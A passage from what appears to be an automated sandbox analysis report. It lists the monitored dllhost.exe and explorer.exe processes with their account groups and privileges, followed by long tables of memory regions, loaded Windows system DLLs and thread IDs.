hHeap=0x3b0000) returned 1 [0199.097] OleUninitialize () Process: id = "31" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x1ab65000" os_pid = "0x9a0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3580 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3581 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3582 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3583 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3584 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3585 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3586 start_va = 0xff1b0000 end_va = 0xff1b6fff monitored = 0 entry_point = 0xff1b124c region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 3587 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3588 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3589 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3590 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3591 start_va = 0x1b0000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3592 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3593 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3594 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3595 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3596 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3597 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3598 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3599 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3600 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3601 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3602 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3603 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3604 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3605 start_va = 0x1b0000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3606 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3607 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3608 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3609 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 3610 start_va = 0x2b0000 end_va = 0x2d8fff monitored = 0 entry_point = 0x2b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3611 start_va = 0x2b0000 end_va = 0x2d8fff monitored = 0 entry_point = 0x2b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3612 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3613 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3614 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 3615 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 3616 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3617 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3618 start_va = 0x310000 end_va = 0x38cfff monitored = 0 entry_point = 0x31cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3619 start_va = 0x310000 end_va = 0x38cfff monitored = 0 entry_point = 0x31cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3620 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3621 start_va = 0x2c0000 end_va = 0x2c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 3622 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3623 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3624 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3625 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3626 start_va = 0x2d0000 end_va = 0x2d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 3716 start_va = 0x1c90000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c90000" filename = "" Region: id = 3717 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3718 start_va = 0x1f70000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 3719 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3720 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3721 start_va = 0x310000 end_va = 0x354fff monitored = 0 entry_point = 0x311064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3722 start_va = 0x310000 end_va = 0x354fff monitored = 0 entry_point = 0x311064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3723 start_va = 0x310000 end_va = 0x354fff monitored = 0 entry_point = 0x311064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3724 start_va = 0x310000 end_va = 0x354fff monitored = 0 entry_point = 0x311064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3725 start_va = 0x310000 end_va = 0x354fff monitored = 0 entry_point = 0x311064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3726 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3727 start_va = 0x2070000 end_va = 0x233efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3728 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3729 start_va = 0x1d90000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 3730 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3731 start_va = 0x24e0000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 3732 start_va = 0x2690000 end_va = 0x278ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 3733 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3734 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3735 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3736 start_va = 0x2790000 end_va = 0x294ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 3881 start_va = 0x1bb0000 end_va = 0x1c8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bb0000" filename = "" Region: id = 3884 start_va = 0x7fef3ef0000 end_va = 0x7fef3f0efff monitored = 0 entry_point = 0x7fef3ef57b8 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 3885 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3886 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3887 start_va = 0x7fef2e60000 end_va = 0x7fef2efffff monitored = 0 entry_point = 0x7fef2edeb20 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 3889 start_va = 0x76ee0000 end_va = 0x76ee6fff monitored = 0 entry_point = 0x76ee106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 3890 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3891 start_va = 0x2340000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3892 start_va = 0x2340000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3893 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3894 start_va = 0x7fef6830000 end_va = 0x7fef691dfff monitored = 0 entry_point = 0x7fef68312a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 3895 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 3896 start_va = 0x2f0000 end_va = 0x2f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 3897 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3898 start_va = 0x310000 end_va = 0x310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3899 start_va = 0x320000 end_va = 0x321fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 3908 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3909 start_va = 0x7fef1b20000 end_va = 0x7fef1f10fff monitored = 0 entry_point = 0x7fef1cad21c region_type = mapped_file name = "mf.dll" filename = "\\Windows\\System32\\mf.dll" (normalized: "c:\\windows\\system32\\mf.dll") Region: id = 3910 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 3911 start_va = 0x7fef39c0000 end_va = 0x7fef3a2cfff monitored = 0 entry_point = 0x7fef39c131c region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 3918 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3919 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3920 start_va = 0x7fefac00000 end_va = 0x7fefac08fff monitored = 0 entry_point = 0x7fefac01010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 3921 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3922 start_va = 0x73310000 end_va = 0x73315fff monitored = 0 entry_point = 0x73311010 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 3957 start_va = 0x7fef6bf0000 end_va = 0x7fef6c5afff monitored = 0 entry_point = 0x7fef6bf101c region_type = mapped_file name = "photometadatahandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" (normalized: "c:\\windows\\system32\\photometadatahandler.dll") Region: id = 3958 start_va = 0x7fefb020000 end_va = 0x7fefb149fff monitored = 0 entry_point = 0x7fefb023810 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 5252 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 5253 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Thread: id = 442 os_tid = 0x9a4 Thread: id = 444 os_tid = 0x9b0 Thread: id = 445 os_tid = 0x9b4 Thread: id = 446 os_tid = 0x9b8 Thread: id = 447 os_tid = 0x9bc Thread: id = 448 os_tid = 0x9c0 Thread: id = 449 os_tid = 0x9c4 Process: id = "32" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x751b3000" os_pid = "0x77c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "31" os_parent_pid = "0xffffffffffffffff" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4007 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4008 start_va = 0x20000 end_va = 0x21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4009 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4010 start_va = 0x40000 end_va = 0x41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4011 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4012 start_va = 0xc0000 end_va = 0xc5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "explorer.exe.mui" filename = "\\Windows\\en-US\\explorer.exe.mui" (normalized: "c:\\windows\\en-us\\explorer.exe.mui") Region: id = 4013 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4014 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4015 start_va = 0xf0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4016 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4017 start_va = 0x270000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4018 start_va = 0x2b0000 end_va = 0x2bcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 4019 start_va = 0x2c0000 end_va = 0x2c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 4020 start_va = 0x2d0000 end_va = 0x2d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 4021 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 4022 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 4023 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 4024 start_va = 0x580000 end_va = 0x581fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 4025 start_va = 0x590000 end_va = 0x5a9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 4026 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 4027 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 4028 start_va = 0x5d0000 end_va = 0x5d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4029 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 4030 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 4031 start_va = 0x780000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 4032 start_va = 0x1b80000 end_va = 0x1c5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b80000" filename = "" Region: id = 4033 start_va = 0x1c60000 end_va = 0x1c71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 4034 start_va = 0x1c80000 end_va = 0x1c80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 4035 start_va = 0x1c90000 end_va = 0x1ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c90000" filename = "" Region: id = 4036 start_va = 0x1cf0000 end_va = 0x1cf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 4037 start_va = 0x1d00000 end_va = 0x1d01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 4038 start_va = 0x1d10000 end_va = 0x1d11fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 4039 start_va = 0x1d20000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 4040 start_va = 0x1da0000 end_va = 0x1e1dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 4041 start_va = 0x1e20000 end_va = 0x1e21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 4042 start_va = 0x1e30000 end_va = 0x1e32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comctl32.dll.mui" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") Region: id = 4043 start_va = 0x1e40000 end_va = 0x1e40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 4044 start_va = 0x1e50000 end_va = 0x1e50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4045 start_va = 0x1e60000 end_va = 0x1e68fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 4046 start_va = 